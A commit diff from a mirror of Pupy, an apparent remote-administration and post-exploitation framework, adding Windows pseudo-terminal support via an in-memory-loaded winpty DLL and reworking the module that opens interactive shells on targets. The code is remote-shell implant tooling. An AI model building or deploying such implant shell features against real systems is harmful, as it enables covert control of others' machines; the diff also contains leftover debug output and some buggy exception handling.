mirror of https://github.com/n1nj4sec/pupy.git
Initial support of PTY on windows
WinPTY (https://github.com/rprichard/winpty) was patched to start winpty-agent.exe from itself (using in-mem-exec.c). So it's enough to load winpty.dll to use it. Tested on Windows XP SP2 and Windows 10. Looks like it works (Yay! I can use FAR!). But more testing is needed.
This commit is contained in:
parent
237fece741
commit
85fd4e68dc
|
@ -3,7 +3,6 @@
|
|||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.utils.rpyc_utils import redirected_stdio
|
||||
from rpyc.core.async import AsyncResultTimeout
|
||||
import sys
|
||||
import os
|
||||
|
@ -17,8 +16,51 @@ if sys.platform!="win32":
|
|||
import array
|
||||
import time
|
||||
import StringIO
|
||||
from threading import Event, Thread
|
||||
from threading import Event, Thread, Lock
|
||||
import rpyc
|
||||
import cmd
|
||||
|
||||
class CmdRepl(cmd.Cmd):
|
||||
def __init__(self, write_cb, completion):
|
||||
self._write_cb = write_cb
|
||||
self._complete = completion
|
||||
self._write_lock = Lock()
|
||||
self.prompt = '\r'
|
||||
cmd.Cmd.__init__(self)
|
||||
|
||||
def _con_write(self, data):
|
||||
if not self._complete.is_set():
|
||||
with self._write_lock:
|
||||
self.stdout.write(data)
|
||||
self.stdout.flush()
|
||||
if '\n' in data:
|
||||
self.prompt = data.rsplit('\n', 1)[-1]
|
||||
else:
|
||||
self.prompt += data
|
||||
|
||||
def do_EOF(self, line):
|
||||
return True
|
||||
|
||||
def precmd(self, line):
|
||||
if self._complete.is_set():
|
||||
return 'EOF'
|
||||
else:
|
||||
return line
|
||||
|
||||
def postcmd(self, stop, line):
|
||||
if stop or self._complete.is_set():
|
||||
return True
|
||||
|
||||
def emptyline(self):
|
||||
pass
|
||||
|
||||
def default(self, line):
|
||||
with self._write_lock:
|
||||
self._write_cb(line + '\n')
|
||||
self.prompt = ''
|
||||
|
||||
def postloop(self):
|
||||
self._complete.set()
|
||||
|
||||
__class_name__="InteractiveShell"
|
||||
@config(cat="admin")
|
||||
|
@ -27,6 +69,8 @@ class InteractiveShell(PupyModule):
|
|||
open an interactive command shell. tty are well handled for targets running *nix
|
||||
"""
|
||||
max_clients=1
|
||||
pipe = None
|
||||
complete = Event()
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
PupyModule.__init__(self,*args, **kwargs)
|
||||
|
@ -42,9 +86,9 @@ class InteractiveShell(PupyModule):
|
|||
fcntl.ioctl(pty.STDOUT_FILENO, termios.TIOCGWINSZ, buf, True)
|
||||
self.set_pty_size(buf[0], buf[1], buf[2], buf[3])
|
||||
|
||||
def _start_read_loop(self, write_cb, complete):
|
||||
def _start_read_loop(self, write_cb):
|
||||
t = Thread(
|
||||
target=self._read_loop, args=(write_cb, complete)
|
||||
target=self._read_loop, args=(write_cb,)
|
||||
)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
@ -60,98 +104,133 @@ class InteractiveShell(PupyModule):
|
|||
buf.append(os.read(fd, 1))
|
||||
return b''.join(buf)
|
||||
|
||||
def _read_loop(self, write_cb, complete):
|
||||
def _read_loop(self, write_cb):
|
||||
try:
|
||||
self._read_loop_base(write_cb, complete)
|
||||
except AsyncResultTimeout:
|
||||
self._read_loop_base(write_cb)
|
||||
except AsyncResultTimeout, ReferenceError:
|
||||
pass
|
||||
finally:
|
||||
sys.stdout.write('\r\n')
|
||||
complete.set()
|
||||
self.complete.set()
|
||||
|
||||
|
||||
def _read_loop_base(self, write_cb, complete):
|
||||
def _read_loop_base(self, write_cb):
|
||||
lastbuf = b''
|
||||
write_cb = rpyc.async(write_cb)
|
||||
|
||||
while not complete.is_set():
|
||||
while not self.complete.is_set():
|
||||
r, _, x = select.select([sys.stdin], [], [sys.stdin], None)
|
||||
if x:
|
||||
break
|
||||
|
||||
if r:
|
||||
if not complete.is_set():
|
||||
if not self.complete.is_set():
|
||||
buf = self._read_stdin_non_block()
|
||||
if lastbuf.startswith(b'\r'):
|
||||
vbuf = lastbuf + buf
|
||||
if vbuf.startswith(b'\r~'):
|
||||
if len(vbuf) < 3:
|
||||
lastbuf = vbuf
|
||||
lastbuf += buf
|
||||
if lastbuf.startswith(b'\r~'):
|
||||
if len(lastbuf) < 3:
|
||||
continue
|
||||
elif vbuf.startswith(b'\r~.'):
|
||||
elif lastbuf.startswith(b'\r~.'):
|
||||
break
|
||||
elif vbuf.startswith(b'\r~,'):
|
||||
elif lastbuf.startswith(b'\r~,'):
|
||||
self.client.conn._conn.ping(timeout=1)
|
||||
buf = buf[3:]
|
||||
buf = lastbuf[3:]
|
||||
if not buf:
|
||||
continue
|
||||
|
||||
write_cb(buf)
|
||||
lastbuf = buf
|
||||
|
||||
def _remote_read(self, data, complete):
|
||||
if not complete.is_set():
|
||||
def _remote_read(self, data):
|
||||
if not self.complete.is_set():
|
||||
os.write(sys.stdout.fileno(), data)
|
||||
|
||||
def run(self, args):
|
||||
if self.client.is_windows() or args.pseudo_tty:
|
||||
self.client.load_package("interactive_shell")
|
||||
encoding=None
|
||||
program="/bin/sh"
|
||||
if self.client.is_android():
|
||||
program="/system/bin/sh"
|
||||
elif self.client.is_windows():
|
||||
program="cmd.exe"
|
||||
if args.program:
|
||||
program=args.program
|
||||
with redirected_stdio(self.client.conn):
|
||||
self.client.conn.modules.interactive_shell.interactive_open(program=program)
|
||||
else: #handling tty
|
||||
self.client.load_package("ptyshell")
|
||||
|
||||
fd = sys.stdin.fileno()
|
||||
old_settings = termios.tcgetattr(fd)
|
||||
|
||||
ps = self.client.conn.modules['ptyshell'].PtyShell()
|
||||
program = None
|
||||
|
||||
if args.program:
|
||||
program=args.program.split()
|
||||
|
||||
if 'linux' in sys.platform and not args.pseudo_tty:
|
||||
try:
|
||||
term = os.environ.get('TERM', 'xterm')
|
||||
ps.spawn(program, term=term)
|
||||
|
||||
closed = Event()
|
||||
|
||||
self.set_pty_size=rpyc.async(ps.set_pty_size)
|
||||
old_handler = pupylib.PupySignalHandler.set_signal_winch(self._signal_winch)
|
||||
self._signal_winch(None, None) # set the remote tty sie to the current terminal size
|
||||
fd = sys.stdin.fileno()
|
||||
old_settings = termios.tcgetattr(fd)
|
||||
tty.setraw(fd)
|
||||
|
||||
ps.start_read_loop(lambda data: self._remote_read(data, closed), closed.set)
|
||||
self._start_read_loop(ps.write, closed)
|
||||
|
||||
closed.wait()
|
||||
|
||||
# Read loop here
|
||||
|
||||
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
|
||||
pupylib.PupySignalHandler.set_signal_winch(old_handler)
|
||||
|
||||
self.raw_pty(args)
|
||||
finally:
|
||||
try:
|
||||
self.ps.close()
|
||||
except Exception:
|
||||
pass
|
||||
self.set_pty_size=None
|
||||
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
|
||||
else:
|
||||
# Well, this probably doesn't work at all
|
||||
self.repl(args)
|
||||
|
||||
def repl(self, args):
|
||||
self.client.load_package('pupyutils.safepopen')
|
||||
encoding=None
|
||||
program="/bin/sh"
|
||||
if self.client.is_android():
|
||||
program="/system/bin/sh"
|
||||
elif self.client.is_windows():
|
||||
program="cmd.exe"
|
||||
if args.program:
|
||||
program=args.program
|
||||
|
||||
self.pipe = self.client.conn.modules['pupyutils.safepopen'].SafePopen(
|
||||
[ program ],
|
||||
interactive=True,
|
||||
)
|
||||
|
||||
print "DEBUG: {}".format(self.complete.is_set())
|
||||
|
||||
sys.stdout.write('\r\nREPL started. Ctrl-C will the module \r\n')
|
||||
|
||||
repl = CmdRepl(self.pipe.write, self.complete)
|
||||
self.pipe.execute(self.complete.set, repl._con_write)
|
||||
|
||||
repl_thread = Thread(target=repl.cmdloop)
|
||||
repl_thread.daemon = True
|
||||
repl_thread.start()
|
||||
|
||||
self.complete.wait()
|
||||
self.pipe.terminate()
|
||||
|
||||
# Well, there is no way to break upper thread without
|
||||
# new 100500 threads which will wrap stdin, poll each other...
|
||||
# Just press the fucked enter to avoid this crap
|
||||
|
||||
sys.stdout.write('\r\nPress Enter to close to REPL\r\n')
|
||||
|
||||
def raw_pty(self, args):
|
||||
if self.client.is_windows():
|
||||
self.client.load_dll('winpty.dll')
|
||||
self.client.load_package('winpty')
|
||||
|
||||
self.client.load_package("ptyshell")
|
||||
|
||||
ps = self.client.conn.modules['ptyshell'].PtyShell()
|
||||
program = None
|
||||
|
||||
if args.program:
|
||||
program=args.program.split()
|
||||
|
||||
try:
|
||||
term = os.environ.get('TERM', 'xterm')
|
||||
|
||||
ps.spawn(program, term=term)
|
||||
|
||||
self.set_pty_size=rpyc.async(ps.set_pty_size)
|
||||
old_handler = pupylib.PupySignalHandler.set_signal_winch(self._signal_winch)
|
||||
self._signal_winch(None, None) # set the remote tty sie to the current terminal size
|
||||
|
||||
self.complete = Event()
|
||||
ps.start_read_loop(self._remote_read, self.complete.set)
|
||||
self._start_read_loop(ps.write)
|
||||
|
||||
self._signal_winch(None, None)
|
||||
|
||||
self.complete.wait()
|
||||
|
||||
finally:
|
||||
pupylib.PupySignalHandler.set_signal_winch(old_handler)
|
||||
try:
|
||||
self.ps.close()
|
||||
except Exception:
|
||||
pass
|
||||
self.set_pty_size=None
|
||||
|
||||
def interrupt(self):
|
||||
self.complete.set()
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
import rpyc
|
||||
import winpty
|
||||
import threading
|
||||
|
||||
class PtyShell(object):
|
||||
def __init__(self):
|
||||
self.pty = None
|
||||
|
||||
def close(self):
|
||||
if self.pty:
|
||||
self.pty.close()
|
||||
|
||||
def __del__(self):
|
||||
self.close()
|
||||
|
||||
def spawn(self, argv=None, term=None):
|
||||
if self.pty:
|
||||
return
|
||||
|
||||
if not argv:
|
||||
argv = r'C:\windows\system32\cmd.exe'
|
||||
|
||||
self.pty = winpty.WinPTY(argv)
|
||||
|
||||
def write(self, data):
|
||||
if not self.pty:
|
||||
return
|
||||
|
||||
self.pty.write(data)
|
||||
|
||||
def set_pty_size(self, ws_row, ws_col, ws_xpixel, ws_ypixel):
|
||||
if not self.pty:
|
||||
return
|
||||
|
||||
self.pty.resize(ws_row, ws_col)
|
||||
|
||||
def start_read_loop(self, print_callback, close_callback):
|
||||
if not self.pty:
|
||||
return
|
||||
|
||||
t=threading.Thread(
|
||||
target=self._read_loop,
|
||||
args=(print_callback, close_callback)
|
||||
)
|
||||
|
||||
t.daemon=True
|
||||
t.start()
|
||||
|
||||
def _read_loop(self, print_callback, close_callback):
|
||||
cb = rpyc.async(print_callback)
|
||||
close_cb = rpyc.async(close_callback)
|
||||
|
||||
while True:
|
||||
data = self.pty.read()
|
||||
if not data:
|
||||
break
|
||||
|
||||
cb(data)
|
||||
|
||||
close_cb()
|
||||
|
||||
def close(self):
|
||||
if not self.pty:
|
||||
return
|
||||
|
||||
self.pty.close()
|
|
@ -0,0 +1,210 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
from contextlib import contextmanager
|
||||
|
||||
from ctypes import *
|
||||
from ctypes.wintypes import *
|
||||
|
||||
from win32file import CreateFile, ReadFile, WriteFile, CloseHandle
|
||||
from win32file import GENERIC_READ, GENERIC_WRITE, OPEN_EXISTING
|
||||
|
||||
from win32pipe import PeekNamedPipe
|
||||
|
||||
import pupy
|
||||
|
||||
WINPTY_ERROR_SUCCESS = 0
|
||||
WINPTY_ERROR_OUT_OF_MEMORY = 1
|
||||
WINPTY_ERROR_SPAWN_CREATE_PROCESS_FAILED = 2
|
||||
WINPTY_ERROR_LOST_CONNECTION = 3
|
||||
WINPTY_ERROR_AGENT_EXE_MISSING = 4
|
||||
WINPTY_ERROR_UNSPECIFIED = 5
|
||||
WINPTY_ERROR_AGENT_DIED = 6
|
||||
WINPTY_ERROR_AGENT_TIMEOUT = 7
|
||||
WINPTY_ERROR_AGENT_CREATION_FAILED = 8
|
||||
|
||||
WINPTY_FLAG_CONERR = 0x1
|
||||
WINPTY_FLAG_PLAIN_OUTPUT = 0x2
|
||||
WINPTY_FLAG_COLOR_ESCAPES = 0x4
|
||||
WINPTY_FLAG_ALLOW_CURPROC_DESKTOP_CREATION = 0x8
|
||||
|
||||
WINPTY_MOUSE_MODE_NONE = 0
|
||||
WINPTY_MOUSE_MODE_AUTO = 1
|
||||
WINPTY_MOUSE_MODE_FORCE = 2
|
||||
|
||||
WINPTY_SPAWN_FLAG_AUTO_SHUTDOWN = 1
|
||||
WINPTY_SPAWN_FLAG_EXIT_AFTER_SHUTDOWN = 2
|
||||
|
||||
DLLNAME = 'WINPTY.DLL'
|
||||
|
||||
_functions = {
|
||||
'winpty_error_code': CFUNCTYPE(DWORD, c_void_p),
|
||||
'winpty_error_msg': CFUNCTYPE(LPCWSTR, c_void_p),
|
||||
'winpty_error_free': CFUNCTYPE(None, c_void_p),
|
||||
'winpty_config_new': CFUNCTYPE(c_void_p, c_ulonglong, c_void_p),
|
||||
'winpty_config_free': CFUNCTYPE(None, c_void_p),
|
||||
'winpty_config_set_initial_size': CFUNCTYPE(None, c_void_p, c_int, c_int),
|
||||
'winpty_config_set_mouse_mode': CFUNCTYPE(None, c_void_p, c_int),
|
||||
'winpty_config_set_agent_timeout': CFUNCTYPE(None, c_void_p, c_uint),
|
||||
'winpty_open': CFUNCTYPE(c_void_p, c_void_p, c_void_p),
|
||||
'winpty_free': CFUNCTYPE(None, c_void_p),
|
||||
'winpty_agent_process': CFUNCTYPE(HWND, c_void_p),
|
||||
'winpty_spawn_config_new': CFUNCTYPE(
|
||||
c_void_p, c_ulonglong, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, c_void_p),
|
||||
'winpty_spawn_config_free': CFUNCTYPE(None, c_void_p),
|
||||
'winpty_spawn': CFUNCTYPE(c_int, c_void_p, c_void_p, c_void_p, c_void_p, c_void_p, c_void_p),
|
||||
'winpty_set_size': CFUNCTYPE(c_int, c_void_p, c_int, c_int, c_void_p),
|
||||
'winpty_conin_name': CFUNCTYPE(LPCWSTR, c_void_p),
|
||||
'winpty_conout_name': CFUNCTYPE(LPCWSTR, c_void_p),
|
||||
'winpty_conerr_name': CFUNCTYPE(LPCWSTR, c_void_p)
|
||||
}
|
||||
|
||||
for funcname, definition in _functions.iteritems():
|
||||
funcaddr = pupy.find_function_address(DLLNAME, funcname)
|
||||
if not funcaddr:
|
||||
raise ImportError("Couldn't find function {} at winpty.dll".format(funcname))
|
||||
globals()[funcname] = definition(funcaddr)
|
||||
|
||||
class WinPTYException(Exception):
|
||||
def __init__(self, code, message):
|
||||
Exception.__init__(self, message)
|
||||
self.code = code
|
||||
|
||||
@contextmanager
|
||||
def winpty_error():
|
||||
error = c_void_p(None)
|
||||
try:
|
||||
yield pointer(error)
|
||||
code = winpty_error_code(error)
|
||||
if code != WINPTY_ERROR_SUCCESS:
|
||||
message = winpty_error_msg(error)
|
||||
raise WinPTYException(code, message)
|
||||
finally:
|
||||
winpty_error_free(error)
|
||||
|
||||
class WinPTY(object):
|
||||
def __init__(self, program,
|
||||
cmdline=None, cwd=None, env=None,
|
||||
spawn_flags=WINPTY_SPAWN_FLAG_AUTO_SHUTDOWN|WINPTY_SPAWN_FLAG_EXIT_AFTER_SHUTDOWN,
|
||||
pty_flags=0, pty_size=(80,25), pty_mouse=WINPTY_MOUSE_MODE_NONE):
|
||||
|
||||
self._closed = False
|
||||
|
||||
config = None
|
||||
try:
|
||||
with winpty_error() as error:
|
||||
config = winpty_config_new(pty_flags, error)
|
||||
|
||||
cols, rows = pty_size
|
||||
if cols and rows:
|
||||
winpty_config_set_initial_size(config, cols, rows)
|
||||
winpty_config_set_mouse_mode(config, pty_mouse)
|
||||
|
||||
with winpty_error() as error:
|
||||
self._pty = winpty_open(config, error)
|
||||
finally:
|
||||
winpty_config_free(config)
|
||||
|
||||
self._conin = winpty_conin_name(self._pty)
|
||||
self._conout = winpty_conout_name(self._pty)
|
||||
self._conerr = winpty_conerr_name(self._pty)
|
||||
|
||||
try:
|
||||
self._conin_pipe = CreateFile(
|
||||
self._conin,
|
||||
GENERIC_WRITE,
|
||||
0, None,
|
||||
OPEN_EXISTING,
|
||||
0, None
|
||||
)
|
||||
|
||||
self._conout_pipe = CreateFile(
|
||||
self._conout,
|
||||
GENERIC_READ,
|
||||
0, None,
|
||||
OPEN_EXISTING,
|
||||
0, None
|
||||
)
|
||||
|
||||
if self._conerr:
|
||||
self._conerr_pipe = CreateFile(
|
||||
self._conerr,
|
||||
GENERIC_READ,
|
||||
0, None,
|
||||
OPEN_EXISTING,
|
||||
0, None
|
||||
)
|
||||
else:
|
||||
self._conerr_pipe = None
|
||||
|
||||
try:
|
||||
spawn_ctx = None
|
||||
process_handle = HANDLE()
|
||||
thread_handle = HANDLE()
|
||||
create_process_error = DWORD()
|
||||
|
||||
with winpty_error() as error:
|
||||
spawn_ctx = winpty_spawn_config_new(
|
||||
spawn_flags, program, cmdline, cwd, env, error
|
||||
)
|
||||
|
||||
with winpty_error() as error:
|
||||
winpty_spawn(
|
||||
self._pty, spawn_ctx,
|
||||
pointer(process_handle),
|
||||
pointer(thread_handle),
|
||||
pointer(create_process_error),
|
||||
error
|
||||
)
|
||||
|
||||
finally:
|
||||
winpty_spawn_config_free(spawn_ctx)
|
||||
|
||||
except:
|
||||
self.close()
|
||||
raise
|
||||
|
||||
def write(self, data):
|
||||
if self._closed:
|
||||
return False
|
||||
|
||||
try:
|
||||
WriteFile(self._conin_pipe, data)
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
def read(self, amount=8192):
|
||||
if self._closed:
|
||||
return False
|
||||
|
||||
try:
|
||||
error, data = ReadFile(self._conout_pipe, amount)
|
||||
except:
|
||||
data = None
|
||||
|
||||
return data
|
||||
|
||||
def resize(self, cols, rows):
|
||||
if self._closed:
|
||||
return False
|
||||
|
||||
with winpty_error() as error:
|
||||
winpty_set_size(self._pty, rows, cols, error)
|
||||
|
||||
def close(self):
|
||||
if self._closed:
|
||||
return False
|
||||
|
||||
self._closed = True
|
||||
|
||||
CloseHandle(self._conin_pipe)
|
||||
CloseHandle(self._conout_pipe)
|
||||
if self._conerr_pipe:
|
||||
CloseHandle(self._conerr_pipe)
|
||||
winpty_free(self._pty)
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, *args):
|
||||
self.close()
|
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue